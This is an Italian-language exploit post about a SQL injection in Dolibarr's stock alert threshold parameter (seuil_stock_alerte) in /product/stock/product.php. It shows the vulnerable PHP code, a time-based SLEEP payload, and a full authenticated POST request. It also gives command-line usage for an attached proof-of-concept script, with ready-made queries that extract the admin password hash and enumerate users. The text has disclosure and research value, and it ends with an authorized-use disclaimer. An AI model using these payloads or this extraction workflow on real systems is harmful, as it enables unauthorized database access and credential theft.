L'azione responsabile dell'impostazione della soglia di allerta scorte per magazzino (`seuil_stock_alerte`) accetta input controllati dall'utente e successivamente li incorpora in una query SQL senza un corretto casting numerico o binding dei parametri. #dolibarr #exploit
SQL injection che interessa la funzionalità di gestione dello stock dei prodotti tramite
il parametro seuil_stock_alerte.
Testato e confermato su:
seuil_stock_alerte
Il parametro è accettato da:
/product/stock/product.php
utilizzando l'azione addlimitstockwarehouse.
Il parametro viene recuperato senza conversione numerica:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
Successivamente raggiunge un'istruzione SQL tramite concatenazione diretta di stringhe:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
Poiché il valore viene inserito in un contesto numerico non quotato, è possibile fornire un'espressione SQL al posto di un normale valore numerico.
Un'espressione booleana/basata sul tempo è sufficiente per dimostrare l'esecuzione:
(SELECT IF((1=1),SLEEP(15),0))
Esempio di parametro:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Una richiesta andata a buon fine produce un ritardo nella risposta HTTP di circa 15 secondi, confermando la valutazione dell'espressione SQL iniettata.
L'azione vulnerabile può essere raggiunta con una richiesta autenticata simile a:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Requisiti:
Il problema è stato riprodotto con un account autenticato avente solo il permesso:
Product → Create (produit/creer)
— un account con privilegi ridotti in grado di creare prodotti.
La SQL injection consente:
I vincoli a livello di database su questo sistema hanno impedito l'esecuzione diretta di comandi OS.
Lo script PoC allegato stock_sqli_poc.py automatizza il processo di sfruttamento:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| Opzione | Predefinito | Descrizione |
|---|---|---|
--url | http://127.0.0.1:8088 | URL dell'istanza Dolibarr target |
--proxy | http://127.0.0.1:8080 | Proxy HTTP (Burp, ecc.). Impostare a stringa vuota per disabilitare |
--login | webeditor | Nome utente per l'account a privilegi ridotti |
--password | WebEdit0r! | Password dell'account |
--product-id | 1 | ID prodotto da attaccare |
--warehouse-id | 1 | ID magazzino da attaccare |
--delay | 1.0 | Durata di SLEEP in secondi per il rilevamento basato sul tempo |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | Espressione SQL da esfiltrare |
--length | 14 | Lunghezza massima in caratteri da estrarre |
Estrarre l'hash della password admin:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
Enumerare gli utenti:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
Versione del database:
--extract "VERSION()"
Utente corrente del database:
--extract "USER()"
⚠️ Avviso legale: Utilizzare questo exploit solo contro sistemi per i quali si dispone di esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. Questo PoC è fornito solo a scopo didattico e di test di sicurezza autorizzato.